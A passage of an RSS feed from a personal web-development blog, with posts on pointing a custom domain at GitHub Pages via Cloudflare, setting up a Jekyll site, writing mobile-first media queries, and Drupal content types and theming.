  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://alistapart.com/article/css-shapes-101&quot;&gt;CSS shapes 101&lt;/a&gt; by &lt;a href=&quot;http://sarasoueidan.com/&quot;&gt;Sara Soueidan&lt;/a&gt; (Sara Soueidan is the Queen of SVG and writes a tonne of brilliant articles about CSS. Follow her RIGHT NOW!)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dev.w3.org/csswg/css-shapes/&quot;&gt;CSS shapes module level 1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Setting a custom domain for GitHub pages</title><link>https://chenhuijing.com/blog/setting-up-custom-domain-github-pages/</link><guid isPermaLink="true">https://chenhuijing.com/blog/setting-up-custom-domain-github-pages/</guid><description>As you may know by now, this site is hosted on GitHub Pages. There is no limit to how many &quot;sites&quot; you can host on GitHub Pages if you use the project pages…</description><pubDate>Sun, 11 Jan 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As you may know by now, this site is hosted on GitHub Pages. There is no limit to how many &amp;quot;sites&amp;quot; you can host on GitHub Pages if you use the project pages method, but the by default, the URL of your site would be either &lt;code&gt;http://USER_NAME.GitHub.io&lt;/code&gt; or (if you&apos;re using project pages) &lt;code&gt;http://USER_NAME.GitHub.io/SITE_NAME&lt;/code&gt;. Which is totally cool if you ask me, but sometimes, we&apos;d like to have our own custom domain name that we paid for with our own hard-earned cash.&lt;/p&gt;
&lt;p&gt;After some googling to compare domain name registrars, I settled on &lt;a href=&quot;https://www.namesilo.com/&quot;&gt;Namesilo&lt;/a&gt;, largely because they&apos;re one of the cheapest around, and honestly I haven&apos;t had any trouble with them. Switching nameservers was simple, whois privacy is free, that&apos;s about all I need actually. I&apos;ve bought 3 domain names through them thus far and don&apos;t plan on switching to anyone else anytime soon.&lt;/p&gt;
&lt;p&gt;Normally the documentation on GitHub is a cinch to follow along, but somehow the setting up of custom domains tutorial just flew over my head. The first time I tried it, I ended up on a roundabout link journey between &lt;a href=&quot;https://help.github.com/articles/setting-up-a-custom-domain-with-github-pages/&quot;&gt;Setting up a custom domain with GitHub Pages&lt;/a&gt;, &lt;a href=&quot;https://help.github.com/en/github/working-with-github-pages/troubleshooting-custom-domains-and-github-pages&quot;&gt;Troubleshooting custom domains and GitHub Pages&lt;/a&gt; and &lt;a href=&quot;https://help.github.com/articles/about-custom-domains-for-github-pages-sites/&quot;&gt;About custom domains for GitHub Pages sites&lt;/a&gt;. I seriously think this a problem with me, not GitHub.&lt;/p&gt;
&lt;p&gt;I also wanted to use Cloudflare with my site, but in retrospect, this actually simplified things. If you have never heard of Cloudflare and would like to find out more, you can check out this &lt;a href=&quot;https://blog.cloudflare.com/what-is-cloudflare/&quot;&gt;blog post&lt;/a&gt; by the Cloudflare team explaining just that. Full disclosure, I never actually got the custom domain to work right just through Namesilo.&lt;/p&gt;
&lt;p&gt;So, the second time I had to do this, I distilled the steps down to the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a CNAME file and upload it to your gh-pages repository.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;To do this, open your favourite text editor, type in the bare subdomain for your custom domain. There would be one line in that file like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;www.chenhuijing.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the file as &lt;code&gt;CNAME&lt;/code&gt; without any extensions behind it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt; and create an account, if you haven&apos;t got one already.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enter your domain name then click on the green Add Website green button. Cloudflare will then proceed to scan your domain records. It&apos;ll take about a minute (or so says the progress bar), and when it&apos;s done, just click Continue setup.
&lt;img src=&quot;/images/posts/custom-domain/cloudflare-1.jpg&quot; alt=&quot;Add website&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Edit the records so there are two A records which resolve to the following IP addresses:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;192.30.252.153
192.30.252.154
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, add a CNAME record with &lt;code&gt;www&lt;/code&gt; as an alias of &lt;code&gt;YOUR_USER_NAME.github.io&lt;/code&gt;.
&lt;img src=&quot;/images/posts/custom-domain/cloudflare-2.jpg&quot; alt=&quot;Setup DNS records&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cloudflare will then tell you to change your nameservers and because they scanned your domain records, they also helpfully tell you exactly what to do.
&lt;img src=&quot;/images/posts/custom-domain/cloudflare-3.jpg&quot; alt=&quot;Edit name servers&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now you&apos;ll have to do some twiddling on your Namesilo account. Login and go to the &lt;a href=&quot;https://www.namesilo.com/account_domains.php&quot;&gt;Domain Manager&lt;/a&gt;. Select the domain name you&apos;re setting up and click on Change Nameservers.
&lt;img src=&quot;/images/posts/custom-domain/name-servers.jpg&quot; alt=&quot;Setup DNS records&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Change the nameservers according to the instructions provided by Cloudflare and click on Submit. You should see a message telling you that name server changes will take anything from an hour to 2 days to take effect. Mine took probably an hour, I&apos;m not sure, I went out for dinner.
&lt;img src=&quot;/images/posts/custom-domain/name-servers-2.jpg&quot; alt=&quot;Domain manager&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you tried to access your domain before you set up all this, you may end up staring at Namesilo&apos;s parked domain page even after 2 days, so remember to clear your browser cache before checking again.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Thanks to Jordan Parra for pointing out a typo in the IP addresses (already corrected above). The correct IP addresses are 192.30.252.153 and 192.30.252.154, as per &lt;a href=&quot;https://help.github.com/articles/tips-for-configuring-an-a-record-with-your-dns-provider/&quot;&gt;GitHub documentation&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
</content:encoded></item><item><title>How I started with Jekyll and GitHub Pages</title><link>https://chenhuijing.com/blog/2014-12-01-how-i-started-with-jekyll-and-github-pages/</link><guid isPermaLink="true">https://chenhuijing.com/blog/2014-12-01-how-i-started-with-jekyll-and-github-pages/</guid><description>The idea of building my own website had always been floating around in my head, but I never really got down to doing something about it. Given that I work at a…</description><pubDate>Mon, 01 Dec 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The idea of building my own website had always been floating around in my head, but I never really got down to doing something about it. Given that I work at a Drupal shop, my first instinct was to build my own site on Drupal. That somehow just did not pan out.&lt;/p&gt;
&lt;p&gt;Now, I’m the type of person whose inbox is constantly at the state of inbox zero. I have no permanent icons or files on my desktop and if I don’t need it, I don’t have it anymore. This behaviour has gotten me into trouble a few times, when I realised, after the fact, that something I actually needed no longer exists. In a nutshell, I’m the direct opposite of a hoarder.&lt;/p&gt;
&lt;p&gt;The best thing about Drupal is that you really can build any kind of site with it. However, building a simple site with Drupal can sometimes feel like using a Tsar Bomba to nuke a rat. I mean, have you seen the markup Drupal generates?&lt;/p&gt;
&lt;p&gt;Then, I discovered Jekyll. Specifically, I read a fantastic article by &lt;a href=&quot;http://maban.co.uk/&quot;&gt;Anna Debenham&lt;/a&gt; called &lt;a href=&quot;http://24ways.org/2013/get-started-with-github-pages/&quot;&gt;Get Started With GitHub Pages (Plus Bonus Jekyll)&lt;/a&gt;, which outlined exactly what was required to set everything up.&lt;/p&gt;
&lt;p&gt;So upon being sufficiently inspired, I sat myself down after work one day and tried to set up my own Jekyll site hosted on Github Pages. Now this was about half a year ago and Jekyll has been updated multiple times since. So I decided to nuke the first iteration and redo everything with Jekyll 2.5.1 and document the process here.&lt;/p&gt;
&lt;p&gt;So my steps essentially were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install Jekyll on your machine by running the following command in your terminal (full disclosure, I use a Mac so Ruby comes with).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gem install jekyll
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Be patient, because there are quite a number of things to install. Let your terminal do its thing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;While waiting, create a new Github repository called &lt;code&gt;YOUR_GITHUB_USER_NAME.github.io&lt;/code&gt;. According to documentation, the first part of the repository MUST match your Github username exactly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using your terminal, git clone said repository to wherever you do local development on your machine, for me, it would be my &lt;code&gt;Sites&lt;/code&gt; folder. The command will look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/YOUR_GITHUB_USER_NAME/YOUR_GITHUB_USER_NAME.github.io.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actual URL can be found from your Github user page.
&lt;img src=&quot;/images/posts/github-jekyll/github.jpg&quot; alt=&quot;Git clone repo&quot;&gt; 5. Create a basic &lt;code&gt;index.html&lt;/code&gt; in the folder you just cloned. 6. Navigate to the folder you just cloned, then run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git add –-all
git commit -m “Initial commit”
git push
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Browse to &lt;code&gt;http://YOUR_GITHUB_USER_NAME.github.io&lt;/code&gt; and your index.html page should show up.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On your local machine, delete the &lt;code&gt;index.html&lt;/code&gt; file you just pushed (stay with me here, there’s a reason for this)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Spin up a new Jekyll site by running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;jekyll new /path/to/folder/you/cloned/earlier
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At the end of it, it SHOULD say the site has installed. Now, the reason we delete the original index.html is that spinning up a new Jekyll site will create an index.html file as well, which would conflict with that initial index.html you pushed up to Github.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run Jekyll with the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;jekyll serve –watch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fun tip, set up an alias for this command in your &lt;code&gt;.bash_profile&lt;/code&gt; file like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;alias jsa=&apos;jekyll serve --baseurl &amp;quot;&amp;quot; --watch&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I chose to use the uncreative &lt;code&gt;jsa&lt;/code&gt; as the alias but you can use whatever you like.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your cloned folder should have a lot of new stuff in it. As of time of writing, Jekyll is at version 2.5.1, which has Sass integration (win!). Your folder structure will look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PROJECT_FOLDER/
|-- _config.yml
|
|-- _includes/
|   |-- footer.html
|   |-- head.html
|   |-- header.html
|
|-- _layouts/
|   |-- default.html
|   |-- page.html
|   |-- post.html
|
|-- _posts/
|   |-- 2014-11-14-welcome-to-jekyll.markdown
|
|-- _sass/
|   |-- _base.scss
|   |-- _layout.scss
|   |-- _syntax-highlighting.scss
|
|-- _site/
|   |-- about/
|   |-- css/
|   |-- feed.xml
|   |-- index.html
|   |-- jekyll/
|
|-- .gitignore
|-- .sass-cache
|-- about.md
|-- css/
|-- feed.xml
`-- index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Technically, you already have a working Jekyll site at this point.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ok, so there are lots of files in this new site we spun up. I personally think the documentation on the Jekyll site is fantastic. So I&apos;m going to just very briefly sum up what all these shiny new files do.&lt;/p&gt;
&lt;h2&gt;_config.yml&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Site settings go in this file and you can set defaults to be used on every post or page&lt;/li&gt;
&lt;li&gt;All configuration options and instructions can be found &lt;a href=&quot;http://jekyllrb.com/docs/configuration/&quot;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Site-wide variables can be declared here and used throughout the site via liquid tags, e.g. &lt;code&gt;{{ site.github_username }}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Jekyll comes with a bunch of variables already. Full list &lt;a href=&quot;http://jekyllrb.com/docs/variables/&quot;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;_includes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Reusable HTML code snippets go here&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Commonly used for, but definitely not limited to, headers and footers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Each include file can be called using the &lt;code&gt;include&lt;/code&gt; tag, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;{% include footer.html %}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Benefits include, only having to change your code in one place if you decide to change address in your footer&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;_layouts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Layout templates are written in HTML&lt;/li&gt;
&lt;li&gt;Layouts can be applied to your post or page via the YAML front matter, which must be the first thing in the file&lt;/li&gt;
&lt;li&gt;You must use valid YAML set between triple-dashes, for example:&lt;pre&gt;&lt;code&gt;---
layout: post
title: I built a Jekyll site and you won&apos;t believe what happened next
---
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Variables can be used in the template, for example:&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;page-content&amp;quot;&amp;gt;{{ content }}&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;_posts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;You can write your posts in markdown or plain HTML&lt;/li&gt;
&lt;li&gt;Posts must be named in the format &lt;code&gt;YYYY-MM-DD-title.ext&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The default URL follows a style called &lt;code&gt;date&lt;/code&gt;, which looks like &lt;code&gt;/:categories/:year/:month/:day/:title.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To specify your own post URLs, set the permalink in the &lt;code&gt;config.yml&lt;/code&gt; file like so:&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;permalink: /blog/:title
&lt;/code&gt;&lt;/pre&gt;
and this will give you a URL of &lt;code&gt;http://www.SITENAME.com/blog/POST-TITLE/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Full list of options can be found &lt;a href=&quot;http://jekyllrb.com/docs/permalinks/&quot;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;_sass&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Jekyll now comes with Sass so take this time to dance around the room&lt;/li&gt;
&lt;li&gt;If you don&apos;t know what Sass is, go &lt;a href=&quot;http://sass-lang.com/&quot;&gt;here&lt;/a&gt; and get your mind blown&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;_site&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Jekyll will parse all the files and folders mentioned above and generate your site&apos;s files in here&lt;/li&gt;
&lt;li&gt;Do not change any files here because they will be rewritten every time Jekyll compiles your site&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;index.html&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This be your home page, yo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Other pages&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;For anything that isn&apos;t a post, you can create them in the root of your site&lt;/li&gt;
&lt;li&gt;The URL will just be &lt;code&gt;http://www.SITENAME.com/PAGE-TITLE.html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I actually had a lot of fun building my own Jekyll site and would urge anyone who likes to have full control over their site&apos;s markup to give it a try too.&lt;/p&gt;
</content:encoded></item><item><title>The one where I learn responsive</title><link>https://chenhuijing.com/blog/the-one-where-i-learn-responsive/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-where-i-learn-responsive/</guid><description>You really can&apos;t be serious about building websites these days they&apos;re not optimised for mobile so it was high time I grok-ed the key concepts of responsive design.</description><pubDate>Fri, 10 Oct 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;http://pixelonion.com/&quot;&gt;Pixel Onion&lt;/a&gt; website was a project that had languished in a corner for months. The team had been swamped with client project after client project, but this was fast becoming ridiculous. It is simply unbecoming for a web agency not to have their own website up and running. We made a decision to whip up a simple website, built on Drupal (obviously), to be launched by Valentine’s Day 2014.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/pixel-onion.jpg&quot; alt=&quot;Pixel Onion homepage&quot;&gt;&lt;/p&gt;
&lt;p&gt;It took us about an hour to come with the information architecture of the site, as well as the general structure and content of the site. After working on consecutive projects involving a slew of tiresome back-and-forths with clients (an inevitable part of EVERY job, might I add), this personal project of ours was a breath of fresh air.&lt;/p&gt;
&lt;p&gt;Our party consisted of a UX designer, a visual designer, a back-end developer and a front-end developer (me). Our site would be simple, but with some little tweaks to give it some flavour, like animated navigation icons. And of course, the site would have to be fully responsive from day one. IE8 support, on the other hand, would come eventually, if not at all.&lt;/p&gt;
&lt;p&gt;Now, in my prior two projects, I was playing the back-end site builder role, so this was my first foray into the world of responsive front-end development. Fun times. (Technically, I did create a custom theme for the &lt;a href=&quot;http://www.sgcc.sg&quot;&gt;Singapore Gastric Cancer Consortium&lt;/a&gt; site, but it wasn&apos;t responsive.)&lt;/p&gt;
&lt;p&gt;In all seriousness though, I realised I was the kind of person who retained knowledge if I had hands-on experience. All the reading and watching tutorial videos in the world never did much for me if there wasn&apos;t a real world task for me to get my hands dirty with.&lt;/p&gt;
&lt;p&gt;Once again, I leveraged on the &lt;a href=&quot;https://www.drupal.org/project/zen&quot;&gt;Zen theme&lt;/a&gt; as the base theme for this site. I had also levelled up on Sass since my last theming project, thanks to the experience of working with a brilliant front-end developer and all-round good guy, &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell Liew&lt;/a&gt;. Plus, I&apos;d also read a number of very useful articles on Sass and those I referred to most for this project were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/architecture-sass-project/&quot;&gt;Architecture for a Sass Project&lt;/a&gt; by &lt;a href=&quot;http://hugogiraudel.com/&quot;&gt;Hugo Giraudel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://coderwall.com/p/7p7w2a&quot;&gt;When to use Sass mixins, extends and variables&lt;/a&gt; by &lt;a href=&quot;http://rachelnabors.com/&quot;&gt;Rachel Nabors&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At the time, my knowledge of responsive was akin to my knowledge of Saturn: I know it exists, I know what it is (it&apos;s the sixth planet in the solar system!) and...I guess that&apos;s it. So I knew responsive was apparently the best thing since sliced bread, and I also knew it had something to do with how the website morphed as I changed my browser width.&lt;/p&gt;
&lt;p&gt;Cue &lt;a href=&quot;https://twitter.com/zellwk&quot;&gt;Zell&lt;/a&gt; to the picture as he gave me the ultimate newbie&apos;s run-down to responsive development. The magic ingredient is: Media queries.&lt;/p&gt;
&lt;p&gt;Here&apos;s what the official definition of a media query is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A media query consists of a media type and zero or more expressions that check for the conditions of particular media features. Among the media features that can be used in media queries are ‘width’, ‘height’, and ‘color’. By using media queries, presentations can be tailored to a specific range of output devices without changing the content itself.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That&apos;s pretty human-readable for a specification, if you ask me. For responsive development, the key media feature used is &lt;code&gt;width&lt;/code&gt;. Because we want the content to be displayed in the best possible way depending on the width of the device it&apos;s being viewed on.&lt;/p&gt;
&lt;p&gt;Maybe on a small mobile screen, you&apos;d want the content to be displayed in a single column with an off-canvas navigation menu, but on a large desktop screen with lots of real-estate, you&apos;d want the content to spread across the whole screen.&lt;/p&gt;
&lt;p&gt;With media queries and the magic of CSS, both layouts can be achieved on a single site. You don&apos;t have to maintain a separate site for mobile (unless that&apos;s your thing, in that case, carry on if it makes you happy).&lt;/p&gt;
&lt;p&gt;Media queries just tell the browser to display the site&apos;s content in a particular way, on certain types of media, when certain conditions are met. And these conditions are boolean in nature, meaning that the browser will trigger your styles only if those conditions are true.&lt;/p&gt;
&lt;p&gt;The basic syntax for media queries is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media &amp;lt;media-type&amp;gt; (&amp;lt;media-feature&amp;gt;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are quite a number of media-types that can be used, but the most common are &lt;code&gt;screen&lt;/code&gt; and &lt;code&gt;print&lt;/code&gt;. There is also a long list of media-features that can be used as conditions, but for responsive design, our go-to condition is always &lt;code&gt;width&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For the inquisitive mind, feel free to refer to the &lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot;&gt;W3C specification&lt;/a&gt; for the full list of media types and features.&lt;/p&gt;
&lt;p&gt;A key concept introduced to me was to structure my media queries in a mobile-first manner, which meant that I went with &lt;code&gt;min-width&lt;/code&gt; rather than &lt;code&gt;max-width&lt;/code&gt; when structuring my breakpoints. At the time, I used a very basic break-point mixin to help with writing media queries:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@mixin bp($point) {
  @if $point == large {
    @media (min-width: 1050px) {
      @content;
    }
  } @else if $point == med-large {
    @media (min-width: 900px) {
      @content;
    }
  } @else if $point == med {
    @media (min-width: 600px) {
      @content;
    }
  } @else if $point == small {
    @media (min-width: 480px) {
      @content;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Full disclosure: both of us have since moved on and are no longer using the above mixin.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;What this implies is that, your site will take the CSS styles defined for the smallest breakpoint by default, and if you want a different style (most likely, layout) for a larger screen, you call the media query and define your style within the query. As I&apos;m writing this, I can feel the confusion emanating all around me. Maybe an example will help.&lt;/p&gt;
&lt;p&gt;Let&apos;s say we have two blocks of content, &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;sidebar&lt;/code&gt;. On a narrow mobile display, both blocks will be displayed on a single column stacked on top of each other.&lt;/p&gt;
&lt;p&gt;But when we expand to a larger width, we want the blocks to display in two columns, with &lt;code&gt;main&lt;/code&gt; taking up 3/4 of the screen on the left and &lt;code&gt;sidebar&lt;/code&gt; taking up 1/4 of the screen on the right. If we use 540px as the breakpoint, it should look something like this:&lt;/p&gt;
&lt;p data-height=&quot;350&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;ivzgm&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/ivzgm/&apos;&gt;Blog example #1&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Resize the browser and the content should &amp;quot;break&amp;quot; at when it hits 540px. A mobile-first approach simply means that CSS styles are applied to widths at specified-breakpoint-and-above, rather than at specified-breakpoint-and-below.&lt;/p&gt;
&lt;p&gt;Honestly, this concept is easier to grok once you&apos;ve written some code yourself. Thanks to this project, I had the chance to write lots of it. It also helped that I was pretty familiar with Drupal, so I could change the markup to cater to the CSS I was writing. But I always enjoy an all-round team effort, and we launched the site as scheduled, to minimal fanfare but much internal satisfaction.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Content types</title><link>https://chenhuijing.com/blog/drupal-101-content-types/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-content-types/</guid><description>Content types are just a means of providing more structure to the data being used on your website. Drupal 7 comes by default with two content types, page and…</description><pubDate>Mon, 06 Oct 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Content types are just a means of providing more structure to the data being used on your website. Drupal 7 comes by default with two content types, page and article. But you can create additional content types to suit the needs of your website.&lt;/p&gt;
&lt;p&gt;For example, if you were creating a site for a research centre, odds are it would have content like publications, investigators, research areas and so on. Each of these types of content can have their own distinct fields. For example, every publication would have authors, a publication date and the journal in which it was published.&lt;/p&gt;
&lt;p&gt;Rather than dumping all this data into a single body field, having different fields allow us to organise this data to make it more useful to the user. By entering the relevant data into their respective fields, we can then filter this data based on author, publication date and journal.&lt;/p&gt;
&lt;p&gt;Drupal also allows existing fields to be re-used across content types. Say you created an image field one of your content types. You can re-use this image field in another content type.&lt;/p&gt;
&lt;p&gt;Now there is some contention on whether you should re-use fields or not and you should read &lt;a href=&quot;https://www.ostraining.com/blog/drupal/re-using-drupal-fields/&quot;&gt;this excellent article&lt;/a&gt; by &lt;a href=&quot;https://www.ostraining.com/&quot;&gt;OSTraining&lt;/a&gt; which covers both sides of the argument. I&apos;m just here to tell you that you can re-use existing fields if you want to.&lt;/p&gt;
&lt;p&gt;So you may be thinking, what&apos;s the point of all this, these content types with their fancy fields. Well, at the heart of it, Drupal is a content management system. For the uninitiated, that just means it&apos;s a piece of computer software that manages digital content.&lt;/p&gt;
&lt;p&gt;When you don&apos;t have a large amount of content, you can probably get away with very little planning or thinking about how your content is going to be structured. But if you&apos;re going to add more content to your site (and odds are you will), things will start to get messy. Stay with me while I go meta for a bit. Let&apos;s talk about data.&lt;/p&gt;
&lt;p&gt;Data is simply just individual bits of information, things like facts and figures. Raw data is like a pile of bricks, not particularly useful on it&apos;s own. The bricks may even by slightly more useful, seeing as you could throw a brick at something.&lt;/p&gt;
&lt;p&gt;Data has to be processed, organised and analysed before it can become useful information that has practical applications. Think data is to information as brick is to house.&lt;/p&gt;
&lt;p&gt;So back to Drupal. By organising the data through the use of fields, we are providing structure to the data, allowing it to be used in meaningful ways. Maybe you want to know how many authors published in 1994, or perhaps how many publications a particular author has in total.&lt;/p&gt;
&lt;p&gt;All this can be done easily if the data has been structured into their respective fields. Organising your data into structured content types sets the foundation on which future functionalities, like faceted search, specialised view displays and so on, can be built on top of.&lt;/p&gt;
&lt;p&gt;Hopefully this post has helped you grok the concept of content types and how they can help you build a better website.&lt;/p&gt;
</content:encoded></item><item><title>The one I cut my teeth on</title><link>https://chenhuijing.com/blog/the-one-i-cut-my-teeth-on/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-i-cut-my-teeth-on/</guid><description>The first project counted as a warmup, but this is the real thing. My first solo flight covered everything from site functionality to custom theme. Baby steps, people.</description><pubDate>Sat, 04 Oct 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My next assignment was to build a new website for the &lt;a href=&quot;http://www.sgcc.sg&quot;&gt;Singapore Gastric Cancer Consortium&lt;/a&gt;. Their original site was static HTML site built years ago, with a design that was dated. As a research facility, they also had a large library of publications that they wanted users to be able to search through.&lt;/p&gt;
&lt;p&gt;The site was completely redesigned and rebuilt from scratch on the Drupal 7 platform, and this would be my first end-to-end development project.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sgcc/sgcc.jpg&quot; alt=&quot;SGCC website&quot;&gt;&lt;/p&gt;
&lt;p&gt;Technically I had built sites on Drupal before, but given that was more than five years ago with nothing done since, I consider that experience moot. I had to relearn how to set up a Drupal site from scratch. The way I remember doing it was downloading the zip file from &lt;a href=&quot;http://drupal.org&quot;&gt;drupal.org&lt;/a&gt;, extracting it’s contents and pointing my WampServer to that folder.&lt;/p&gt;
&lt;p&gt;But now that I’m doing this as a profession, I learnt to do it via Git, which is a version control system that I managed to develop a love-hate relationship with (refer to &lt;a href=&quot;/blog/the-epic-git-bomb/&quot;&gt;The epic git bomb&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Aside from building up the site, I would also have to theme it to look like the new design that our web designer came up with. So the go-to starter theme template that was suggested to me was the &lt;a href=&quot;https://drupal.org/project/zen&quot;&gt;Zen theme&lt;/a&gt;. It honestly felt like jumping straight into the deep end, but that&apos;s the best way to learn fast, right?&lt;/p&gt;
&lt;p&gt;The extent of my Drupal knowledge was the creation of basic pages and I had no idea what views and content types were for. So if I had to go back in time and explain to my newbie self, I&apos;d tell her to read &lt;a href=&quot;/blog/drupal-101-content-types/&quot;&gt;this post on content types&lt;/a&gt; and &lt;a href=&quot;/blog/drupal-101-intro-to-views/&quot;&gt;this post on views&lt;/a&gt;.&lt;/p&gt;
